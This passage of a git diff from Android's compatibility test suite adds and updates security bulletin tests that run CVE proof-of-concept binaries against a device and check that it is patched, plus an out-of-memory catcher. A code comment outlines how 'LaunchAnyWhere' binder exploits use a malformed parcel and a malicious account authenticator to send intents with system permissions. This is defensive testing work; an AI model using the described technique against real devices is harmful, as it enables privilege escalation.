+    private static final String LOG_TAG = "HostsideOomCatcher";
+
+    private static final long LOW_MEMORY_DEVICE_THRESHOLD_KB = (long)(1.5 * 1024 * 1024); //1.5GB
+    private static Map<String, WeakReference<BackgroundDeviceAction>> oomCatchers =
+            new ConcurrentHashMap<>();
+    private static Map<String, Long> totalMemories = new ConcurrentHashMap<>();
+
+    private boolean isLowMemoryDevice = false;
+
+    private SecurityTestCase context;
+
+    /**
+     * test behavior when oom is detected.
+     */
+    public enum OomBehavior {
+        FAIL_AND_LOG, // normal behavior
+        PASS_AND_LOG, // skip tests that oom low memory devices
+        FAIL_NO_LOG,  // tests that check for oom
+    }
+    private OomBehavior oomBehavior = OomBehavior.FAIL_AND_LOG; // accessed across threads
+    private boolean oomDetected = false; // accessed across threads
+
+    public HostsideOomCatcher(SecurityTestCase context) {
+        this.context = context;
+    }
+
+    /**
+     * Utility to get the device memory total by reading /proc/meminfo and returning MemTotal
+     */
+    private static long getMemTotal(ITestDevice device) throws DeviceNotAvailableException {
+        // cache device TotalMem to avoid an adb shell for every test.
+        String serial = device.getSerialNumber();
+        Long totalMemory = totalMemories.get(serial);
+        if (totalMemory == null) {
+            String memInfo = device.executeShellCommand("cat /proc/meminfo");
+            Pattern pattern = Pattern.compile("MemTotal:\\s*(.*?)\\s*[kK][bB]");
+            Matcher matcher = pattern.matcher(memInfo);
+            if (matcher.find()) {
+                totalMemory = Long.parseLong(matcher.group(1));
+            } else {
+                throw new RuntimeException("Could not get device memory total.");
+            }
+            Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
+                    "Device " + serial + " has " + totalMemory + "KB total memory.");
+            totalMemories.put(serial, totalMemory);
+        }
+        return totalMemory;
+    }
+
+    /**
+     * Start the hostside oom catcher thread for the test.
+     * Match this call to SecurityTestCase.setup().
+     */
+    public synchronized void start() throws Exception {
+        long totalMemory = getMemTotal(getDevice());
+        isLowMemoryDevice = totalMemory < LOW_MEMORY_DEVICE_THRESHOLD_KB;
+
+        // reset test oom behavior
+        // Devices should fail tests that OOM so that they'll be ran again with --retry.
+        // If the test OOMs because previous tests used the memory, it will likely pass
+        // on a second try.
+        oomBehavior = OomBehavior.FAIL_AND_LOG;
+        oomDetected = false;
+
+        // Cache OOM detection in separate persistent threads for each device.
+        WeakReference<BackgroundDeviceAction> reference =
+                oomCatchers.get(getDevice().getSerialNumber());
+        BackgroundDeviceAction oomCatcher = null;
+        if (reference != null) {
+            oomCatcher = reference.get();
+        }
+        if (oomCatcher == null || !oomCatcher.isAlive() || oomCatcher.isCancelled()) {
+            AdbUtils.runCommandLine("am start com.android.cts.oomcatcher/.OomCatcher", getDevice());
+
+            oomCatcher = new BackgroundDeviceAction(
+                    "logcat -c && logcat OomCatcher:V *:S",
+                    "Oom Catcher background thread",
+                    getDevice(), new OomReceiver(getDevice()), 0);
+
+            oomCatchers.put(getDevice().getSerialNumber(), new WeakReference<>(oomCatcher));
+            oomCatcher.start();
+        }
+    }
+
+    /**
+     * Stop the hostside oom catcher thread.
+     * Match this call to SecurityTestCase.setup().
+     */
+    public static void stop(String serial) {
+        WeakReference<BackgroundDeviceAction> reference = oomCatchers.get(serial);
+        if (reference != null) {
+            BackgroundDeviceAction oomCatcher = reference.get();
+            if (oomCatcher != null) {
+                oomCatcher.cancel();
+            }
+        }
+    }
+
+    /**
+     * Check every test teardown to see if the device oomed during the test.
+     */
+    public synchronized boolean isOomDetected() {
+        return oomDetected;
+    }
+
+    /**
+     * Return the current test behavior for when oom is detected.
+     */
+    public synchronized OomBehavior getOomBehavior() {
+        return oomBehavior;
+    }
+
+    /**
+     * Flag meaning the test will likely fail on devices with low memory.
+     */
+    public synchronized void setHighMemoryTest() {
+        if (isLowMemoryDevice) {
+            oomBehavior = OomBehavior.PASS_AND_LOG;
+        } else {
+            oomBehavior = OomBehavior.FAIL_AND_LOG;
+        }
+    }
+
+    /**
+     * Flag meaning the test uses the OOM catcher to fail the test because the test vulnerability
+     * intentionally OOMs the device.
+     */
+    public synchronized void setOomTest() {
+        oomBehavior = OomBehavior.FAIL_NO_LOG;
+    }
+
+    private ITestDevice getDevice() {
+        return context.getDevice();
+    }
+
+    /**
+     * Read through logcat to find when the OomCatcher app reports low memory. Once detected, reboot
+     * the device to prevent a soft reset with the possiblity of ADB becomming unresponsive.
+     */
+    class OomReceiver extends MultiLineReceiver {
+
+        private ITestDevice device = null;
+        private boolean isCancelled = false;
+
+        public OomReceiver(ITestDevice device) {
+            this.device = device;
+        }
+
+        @Override
+        public void processNewLines(String[] lines) {
+            for (String line : lines) {
+                if (Pattern.matches(".*Low memory.*", line)) {
+                    // low memory detected, reboot device to clear memory and pass test
+                    isCancelled = true;
+                    Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
+                            "lowmemorykiller detected; rebooting device.");
+                    synchronized (HostsideOomCatcher.this) { // synchronized for oomDetected
+                        oomDetected = true; // set HostSideOomCatcher var
+                    }
+                    try {
+                        device.nonBlockingReboot();
+                        device.waitForDeviceOnline(60 * 2 * 1000); // 2 minutes
+                    } catch (Exception e) {
+                        Log.e(LOG_TAG, e.toString());
+                    }
+                    return; // we don't need to process remaining lines in the array
+                }
+            }
+        }
+
+        @Override
+        public boolean isCancelled() {
+            return isCancelled;
+        }
+    }
+}
+
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/LaunchSomeWhere.java b/hostsidetests/securitybulletin/src/android/security/cts/LaunchSomeWhere.java
new file mode 100644
index 0000000..3a61311
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/LaunchSomeWhere.java
@@ -0,0 +1,93 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.ITestDevice;
+
+/*
+ * Adding Tests:
+ * We are testing a series of exploits that all take advantage of binder in the
+ * same way, using a malformed parcel to get system permission, with the only
+ * difference being the details of how we create the malformed parcel. In order
+ * to take advantage of these similarities (among other reasons) we share code
+ * between these exploits with an app that only requires two things to run a new
+ * version of this exploit: a class implementing IGenerateMalformedParcel and an
+ * intent telling the app which version of the exploit to run.
+ *
+ * When you recieve a new LaunchAnyWhere exploit it will likely be in the form
+ * of an app that can perform a number of actions such as creating a new pin
+ * or installing an app without recieving the appropriate permissions. However,
+ * the only file we care about form the app will be GenMalformedParcel.java.
+ * Find that file and follow these steps to add a new LaunchAnyWhere test:
+ *
+ * 1. Copy GenMalformedParcel.java into the LaunchAnyWhere app at
+ *    cts/hostsidetests/security/test-apps/launchanywhere/src... Rename the file
+ *    and class after the CVE that you are addressing. Modify the class
+ *    signature and method signature so that it implements
+ *    IGenerateMalformedParcel (namely, add the `implements` clause and change
+ *    the function to public Parcel generate(Intent intent)).
+ *
+ * 2. Next, add a hostside test to the appropriate file in this directory.
+ *    In the test all you have to do is call
+ *    LaunchSomeWhere.launchSomeWhere("CVE_20XX_XXXXX", getDevice());
+ *
+ * 3. Verify your test and submit, assuming all went well. If not then check
+ *    for differences between the files in the submitted apk and the code in
+ *    tests/tests/security/src/android/security/cts/launchanywhere.
+ *
+ * Exploit Overview:
+ * All LaunchAnyWhere exploits take advantage of classes that write more data
+ * than they read. They follow the same process to send an intent with system
+ * permissions. The process is described below (you do not need to understand
+ * this in order to create tests, but we learned this while debugging some
+ * things and don't want the information to be lost):
+ *
+ * 1. Add an account with the account type 'com.launchanywhere' When an account
+ *    is added the AccountManager delegates the task of authenticating the
+ *    account to an instance of AbstractAccountAuthenticator. Our malicious
+ *    authenticator finds
+ *    android.accounts.IAccountAuthenticatorResponse.Stub.Proxy and replaces
+ *    it's mRemote field with our anonymous IBinder before returning a
+ *    default-constructed bundle. We save the old value and delegate to it
+ *    after altering the arguments when appropriate (MitM).
+ *
+ * 2. When we finish, our IBinder's transact is called. At this point we create
+ *    a reboot intent and send it to the appropriate class to generate the
+ *    malformed parcel. This grants the intent system permissions.
+ *
+ * 3. The phone reboots, proving a successful exploit.
+ */
+class LaunchSomeWhere {
+    public static void launchSomeWhere(String cve, ITestDevice device)
+        throws Exception {
+
+        String command = "am start";
+
+        String[] args = {
+            "--es", "cve", cve,
+            "-n", "com.android.security.cts.launchanywhere/.StartExploit"
+        };
+
+        for (String s : args) {
+          command += " " + s;
+        }
+
+        AdbUtils.runCommandLine(command, device);
+        if (device.waitForDeviceNotAvailable(9_000))
+            device.waitForDeviceAvailable();
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_02.java
new file mode 100644
index 0000000..04a8f03
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_02.java
@@ -0,0 +1,35 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc16_02 extends SecurityTestCase {
+    /**
+     *  b/25800375
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2016-02")
+    public void testPocCVE_2016_0811() throws Exception {
+        AdbUtils.runPocAssertNoCrashes("CVE-2016-0811", getDevice(), "mediaserver");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
index d3da935..b0f0ddc 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -16,26 +16,42 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc16_04 extends SecurityTestCase {
 
     /**
      * b/26323455
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-04")
     public void testPocCVE_2016_2419() throws Exception {
         AdbUtils.runCommandLine("logcat -c" , getDevice());
         AdbUtils.runPoc("CVE-2016-2419", getDevice(), 60);
         String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatches("[\\s\\n\\S]*IOMX_InfoLeak b26323455[\\s\\n\\S]*", logcat);
+        assertNotMatchesMultiLine("IOMX_InfoLeak b26323455", logcat);
     }
 
     /**
     *  b/26324307
     */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-04")
     public void testPocCVE_2016_0844() throws Exception {
         AdbUtils.runPoc("CVE-2016-0844", getDevice(), 60);
     }
+
+    /**
+     * b/26593930
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2016-04")
+    public void testPocCVE_2016_2412() throws Exception {
+        AdbUtils.runPocAssertNoCrashes("CVE-2016-2412", getDevice(), "system_server");
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
index 9a1030d..39b7ada 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,18 +17,34 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc16_05 extends SecurityTestCase {
     /**
      *  b/27555981
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-05")
     public void testPocCVE_2016_2460() throws Exception {
         AdbUtils.runCommandLine("logcat -c" , getDevice());
         AdbUtils.runPoc("CVE-2016-2460", getDevice(), 60);
 
         String logcat =  AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatches("[\\s\\n\\S]*IGraphicBufferProducer_Info is Leaked[\\s\\n\\S]*", logcat);
+        assertNotMatchesMultiLine("IGraphicBufferProducer_Info is Leaked", logcat);
+    }
+
+    /**
+     *  b/27275324
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2016-05")
+    public void testPocCVE_2015_1805() throws Exception {
+      getOomCatcher().setHighMemoryTest();
+      AdbUtils.runPoc("CVE-2015-1805", getDevice(), TIMEOUT_NONDETERMINISTIC);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
new file mode 100644
index 0000000..58c604e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
@@ -0,0 +1,36 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc16_06 extends SecurityTestCase {
+    /**
+     *  b/27661749
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2016-06")
+    public void testPocCVE_2016_2482() throws Exception {
+        AdbUtils.runPocAssertNoCrashes("CVE-2016-2482", getDevice(), "mediaserver");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index 2601d43..4367a61 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -13,17 +13,52 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc16_07 extends SecurityTestCase {
     /**
      *  b/28740702
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-07")
     public void testPocCVE_2016_3818() throws Exception {
         AdbUtils.runPoc("CVE-2016-3818", getDevice(), 60);
     }
+
+    /**
+     *  b/27890802
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2016-07")
+    public void testPocCVE_2016_3746() throws Exception {
+        AdbUtils.runPocAssertNoCrashes("CVE-2016-3746", getDevice(), "mediaserver");
+    }
+
+    /**
+     *  b/28557020
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2016-07")
+    public void testPocCVE_2014_9803() throws Exception {
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2014-9803", getDevice(), 60);
+    }
+
+    /**
+     * b/27903498
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2016-07")
+    public void testPocCVE_2016_3747() throws Exception {
+        getOomCatcher().setHighMemoryTest();
+        AdbUtils.runPocAssertNoCrashes("CVE-2016-3747", getDevice(), "mediaserver");
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
index 7ab08ad..a253619 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2017 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -13,16 +13,23 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc16_09 extends SecurityTestCase {
     /**
      * b/27773913
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-09")
     public void testPocCVE_2016_2471() throws Exception {
         AdbUtils.runPoc("CVE-2016-2471", getDevice(), 60);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
new file mode 100644
index 0000000..d1550d2
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
@@ -0,0 +1,37 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc16_10 extends SecurityTestCase {
+
+    /**
+     *  b/30204103
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2016-10")
+    public void testPocCVE_2016_3913() throws Exception {
+        AdbUtils.runPocAssertNoCrashes("CVE-2016-3913", getDevice(), "mediaserver");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
index da8da31..60a15e6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2016 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,14 +17,32 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc16_11 extends SecurityTestCase {
 
     /**
+     *  b/29149404
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2016-11")
+    public void testPocCVE_2012_6702() throws Exception {
+        AdbUtils.runCommandLine("logcat -c", getDevice());
+        AdbUtils.runPoc("CVE-2012-6702", getDevice(), 60);
+        String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertNotMatchesMultiLine("fail: encountered same random values!", logcat);
+    }
+
+    /**
      *  b/30904789
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-11")
     public void testPocCVE_2016_6730() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
             AdbUtils.runPoc("CVE-2016-6730", getDevice(), 60);
@@ -34,7 +52,8 @@
     /**
      *  b/30906023
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-11")
     public void testPocCVE_2016_6731() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
             AdbUtils.runPoc("CVE-2016-6731", getDevice(), 60);
@@ -44,7 +63,8 @@
     /**
      *  b/30906599
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-11")
     public void testPocCVE_2016_6732() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
             AdbUtils.runPoc("CVE-2016-6732", getDevice(), 60);
@@ -54,7 +74,8 @@
     /**
      *  b/30906694
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-11")
     public void testPocCVE_2016_6733() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
             AdbUtils.runPoc("CVE-2016-6733", getDevice(), 60);
@@ -64,7 +85,8 @@
     /**
      *  b/30907120
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-11")
     public void testPocCVE_2016_6734() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
             AdbUtils.runPoc("CVE-2016-6734", getDevice(), 60);
@@ -74,7 +96,8 @@
     /**
      *  b/30907701
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-11")
     public void testPocCVE_2016_6735() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
             AdbUtils.runPoc("CVE-2016-6735", getDevice(), 60);
@@ -84,7 +107,8 @@
     /**
      *  b/30953284
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-11")
     public void testPocCVE_2016_6736() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
             AdbUtils.runPoc("CVE-2016-6736", getDevice(), 60);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
new file mode 100644
index 0000000..4e2031b
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
@@ -0,0 +1,47 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc16_12 extends SecurityTestCase {
+
+    //Criticals
+    /**
+     *  b/31796940
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2016-12")
+    public void testPocCVE_2016_8406() throws Exception {
+        assertNotKernelPointer(() -> {
+            String cmd = "ls /sys/kernel/slab 2>/dev/null | grep nf_conntrack";
+            String result =  AdbUtils.runCommandLine(cmd, getDevice());
+            String pattern = "nf_conntrack_";
+            int index = result.indexOf(pattern);
+            if (index == -1) {
+                return null;
+            }
+            return result.substring(index + pattern.length());
+        }, getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
index aba9ed0..a7ae370 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2016 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,15 +17,21 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc17_01 extends SecurityTestCase {
 
     //Criticals
     /**
      *  b/31797770
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8425() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
             AdbUtils.runPoc("CVE-2016-8425", getDevice(), 60);
@@ -35,7 +41,8 @@
     /**
      *  b/31799206
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8426() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvhost-gpu")) {
             AdbUtils.runPoc("CVE-2016-8426", getDevice(), 60);
@@ -45,7 +52,8 @@
     /**
      *  b/31799885
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8427() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvhost-gpu") ||
               containsDriver(getDevice(), "/dev/nvhost-dbg-gpu")) {
@@ -56,7 +64,8 @@
     /**
      *  b/31993456
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8428() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvmap")) {
             AdbUtils.runPoc("CVE-2016-8428", getDevice(), 60);
@@ -66,7 +75,8 @@
     /**
      *  b/32160775
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8429() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvmap")) {
             AdbUtils.runPoc("CVE-2016-8429", getDevice(), 60);
@@ -76,7 +86,8 @@
     /**
      *  b/32225180
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8430() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
             AdbUtils.runPoc("CVE-2016-8430", getDevice(), 60);
@@ -86,7 +97,8 @@
    /**
      *  b/32402179
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8431() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
             AdbUtils.runPoc("CVE-2016-8431", getDevice(), 60);
@@ -96,7 +108,8 @@
     /**
      *  b/32447738
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8432() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
             AdbUtils.runPoc("CVE-2016-8432", getDevice(), 60);
@@ -106,7 +119,8 @@
     /**
      *  b/32125137
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8434() throws Exception {
         if(containsDriver(getDevice(), "/dev/kgsl-3d0")) {
             // This poc is very verbose so we ignore the output to avoid using a lot of memory.
@@ -117,11 +131,21 @@
     /**
      *  b/31668540
      */
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8460() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvmap")) {
             String result = AdbUtils.runPoc("CVE-2016-8460", getDevice(), 60);
             assertTrue(!result.equals("Vulnerable"));
         }
     }
+
+    /**
+     *  b/32255299
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2017-01")
+    public void testPocCVE_2017_0386() throws Exception {
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2017-0386", getDevice(), 60);
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
index fc68707..3f94a62 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
@@ -1,5 +1,5 @@
 /**
